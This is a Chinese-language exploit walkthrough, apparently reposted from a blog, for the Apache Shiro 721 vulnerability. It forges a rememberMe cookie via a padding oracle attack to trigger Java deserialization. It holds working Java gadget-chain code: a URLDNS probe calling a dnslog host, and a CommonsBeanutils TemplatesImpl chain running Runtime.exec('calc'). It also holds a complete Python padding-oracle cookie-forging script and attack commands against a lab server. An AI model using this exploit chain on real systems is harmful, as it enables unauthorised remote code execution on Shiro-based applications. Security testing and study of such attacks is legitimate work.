这两个漏洞主要区别在于Shiro550使⽤已知密钥碰撞,后者Shiro721是使⽤ 登录后rememberMe= {value}去爆破正确的key值 进⽽反序列化,对⽐Shiro550条件只要有 ⾜够密钥库 (条件⽐较低)、Shiro721需要登录(要求⽐较⾼鸡肋 )。Apache Shiro < 1.4.2 默认使⽤ AES/CBC/PKCS5Padding 模式
1.漏洞详细
shiro721⽤到的加密⽅式是AES-CBC,⽽且其中的ase加密的key基本猜不到了,是系统随机⽣成的。⽽cookie解析过程跟cookie的解析过程⼀样,也就意味着如果能伪造恶意的rememberMe字段的值且⽬标含有可利⽤的攻击链的话,还是能够进⾏RCE的。
通过Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进⽽实现rememberMe的内容伪造。
2.漏洞测试
⼀次成功的Shiro Padding Oracle需要⼀直向服务器不断发包,判断服务器返回,攻击时间通常需要⼏个⼩时。由于此漏洞利⽤起来耗时时间特别⻓,很容易被waf封禁,因此在真实的红队项⽬中,极少有此漏洞的攻击成功案例
这⾥测试的时候cb这条利⽤链 如果在⽬标上最好测试urldns链。。
漏洞环境:
Urldns链
我们先用urldns链来测试漏洞是否存在
Urldns.java:
packageshiroTest;importjava.io.File;importjava.io.FileOutputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Field;importjava.net.URL;importjava.util.HashMap;publicclassUrldns{publicstaticvoidmain(String[] args)throwsException{/*
利用链:
ObjectInputStream#readObject() -> HashMap.readObject(ObjectInputStream in)
HashMap -> hash()
URL -> hashCode()
URLStreamHandler -> hashCode()
URLStreamHandler -> getHostAddress()
URL -> getHostAddress()
InetAddress -> getByName()
*/HashMap hashMap =newHashMap();URL url =newURL("http://zx5db7.dnslog.cn");/*
URL:
private int hashCode = -1;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
HashMap.put()和本利用链都会执行至URL.hashCode()
*/Field hashCodeField = url.getClass().getDeclaredField("hashCode");
hashCodeField.setAccessible(true);// 阻止创建payload时触发请求
hashCodeField.set(url,0);
hashMap.put(url,null);// 使利用链执行时能够触发请求
hashCodeField.set(url,-1);ObjectOutputStream oos =newObjectOutputStream(newFileOutputStream(newFile("ser.bin")));
oos.writeObject(hashMap);
oos.close();}}
我们利用Urldns代码进行运行,得到ser.bin
然后我们用脚本工具来攻击
python2 shiro_exp.py http://192.168.0.165:8081/samples_web_war/ 4H3erAR79b/6xCWMc6frkHaVXAMfAh4avZrC0NgaiKXopofAml4TmzHXmV+H4s33OLCnx5Qf1FDPEtedyv5DRR/P3fUZni3sTdf/kXy3KzlkOFdk9y6PlDAV0T38Yog8E0gG3w5+ByakoAlbU1RHgIDQYTDJDc3hXntzBAHp8czlfVlHG527vWGQKXLPszLv4bcaru1ZTOhPexuyPuz7iDZRVDBF4H+Hd7IpaQE0RYGjJrg7VDWeTHE+aE3Ana+5yt98Hk2d6j4E0rVQLQgxI/0Xyp5CXwwkKOyyYpbh+wjOOlcZGIapr4MFI1QuKgI7hhUWOIuvQjp/MsM3RYWNjpamnX2FYLQ9wFPcHB1rQK1BDyOSoFiO6khvnIEZAChRFVSchP/gSHblHy4Vgz2hmCNnb+GvPqI8lLr6cprGKKhntO3Z2FWMoe2DjAMnO49euDIErGI1aZMVL3aUQom1Q2fZWu0lV1xXy+p47QS+WzSlDpVZvcjn1TgMq8W164/p ser.bin
# -*- coding: utf-8 -*-from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time
classPadBuster(PaddingOracle):def__init__(self,**kwargs):super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()# self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'
self.wait = kwargs.get('wait',2.0)deforacle(self, data,**kwargs):
somecookie = b64encode(b64decode(unquote(sys.argv[2]))+ data)
self.session.cookies['rememberMe']= somecookie
if self.session.cookies.get('JSESSIONID'):del self.session.cookies['JSESSIONID']# logging.debug(self.session.cookies)while1:try:
response = self.session.get(sys.argv[1],
stream=False, timeout=5, verify=False)breakexcept(socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)continue
self.history.append(response)# logging.debug(response.headers)if response.headers.get('Set-Cookie')isNoneor'deleteMe'notin response.headers.get('Set-Cookie'):
logging.debug('No padding exception raised on %r', somecookie)return# logging.debug("Padding exception")raise BadPaddingException
if __name__ =='__main__':import logging
import sys
ifnot sys.argv[3:]:print'Usage: %s <url> <somecookie value> <payload>'%(sys.argv[0],)
sys.exit(1)
logging.basicConfig(level=logging.DEBUG)
encrypted_cookie = b64decode(unquote(sys.argv[2]))
padbuster = PadBuster()
payload =open(sys.argv[3],'rb').read()
enc = padbuster.encrypt(plaintext=payload, block_size=16)# cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))# print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))print('rememberMe cookies:')print(b64encode(enc))
开始爆破
可以看到成功生成cookie
上面命令中的cookie值从以下取得
注意这里必须登录成功才能利用成功,后台的所有的cookie值都一样
cb链
我们再使用cb链来爆破
cb.java:
packageshiroTest;importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;importjavassist.ClassPool;importjavassist.CtClass;importorg.apache.commons.beanutils.BeanComparator;importjava.io.FileInputStream;importjava.io.FileOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Field;importjava.util.PriorityQueue;publicclass cb {// 修改值的方法,简化代码publicstaticvoidsetFieldValue(Object object,String fieldName,Object value)throwsException{Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);}publicstaticvoidmain(String[] args)throwsException{// 创建恶意类,用于报错抛出调用链ClassPool pool =ClassPool.getDefault();CtClass payload = pool.makeClass("EvilClass");
payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");byte[] evilClass = payload.toBytecode();TemplatesImpl templates =newTemplatesImpl();setFieldValue(templates,"_bytecodes",newbyte[][]{evilClass});setFieldValue(templates,"_name","test");setFieldValue(templates,"_tfactory",newTransformerFactoryImpl());BeanComparator beanComparator =newBeanComparator(null,String.CASE_INSENSITIVE_ORDER);PriorityQueue<Object> queue =newPriorityQueue<Object>(2, beanComparator);
queue.add("1");
queue.add("1");setFieldValue(beanComparator,"property","outputProperties");setFieldValue(queue,"queue",newObject[]{templates, templates});ObjectOutputStream out =newObjectOutputStream(newFileOutputStream("ser.bin"));
out.writeObject(queue);ObjectInputStream in =newObjectInputStream(newFileInputStream("ser.bin"));
in.readObject();}}
可以看到cb链是运行弹出计算器,且生成了ser.bin文件,我们将该文件名字改为calc.bin文件
cookie值不变,还是成功登录的cookie,继续开始cb链爆破
等待即可
也可以使用PaddingOracleAttack-1.0-SNAPSHOT.jar工具,但是感觉比较慢,没有前面介绍的工具好用,一般用前面的即可
PaddingOracleAttack-1.0-SNAPSHOT.jar使用方式:
java -jar PaddingOracleAttack-1.0-SNAPSHOT.jar http://192.168.0.165:8081/samples_web_war/4H3erAR79b/6xCWMc6frkHaVXAMfAh4avZrC0NgaiKXopofAml4TmzHXmV+H4s33OLCnx5Qf1FDPEtedyv5DRR/P3fUZni3sTdf/kXy3KzlkOFdk9y6PlDAV0T38Yog8E0gG3w5+ByakoAlbU1RHgIDQYTDJDc3hXntzBAHp8czlfVlHG527vWGQKXLPszLv4bcaru1ZTOhPexuyPuz7iDZRVDBF4H+Hd7IpaQE0RYGjJrg7VDWeTHE+aE3Ana+5yt98Hk2d6j4E0rVQLQgxI/0Xyp5CXwwkKOyyYpbh+wjOOlcZGIapr4MFI1QuKgI7hhUWOIuvQjp/MsM3RYWNjpamnX2FYLQ9wFPcHB1rQK1BDyOSoFiO6khvnIEZAChRFVSchP/gSHblHy4Vgz2hmCNnb+GvPqI8lLr6cprGKKhntO3Z2FWMoe2DjAMnO49euDIErGI1aZMVL3aUQom1Q2fZWu0lV1xXy+p47QS+WzSlDpVZvcjn1TgMq8W164/p 16 calc.bin
爆破出来之后,替换rememberMe即可,替换时候,要将JSESSIONID删除掉
第一个urldns链:
dnslog没有成功,但方法正确
第二个cb链:
放到bp中运行即可弹出计算器
版权归原作者 番茄酱料 所有, 如有侵权,请联系我们删除。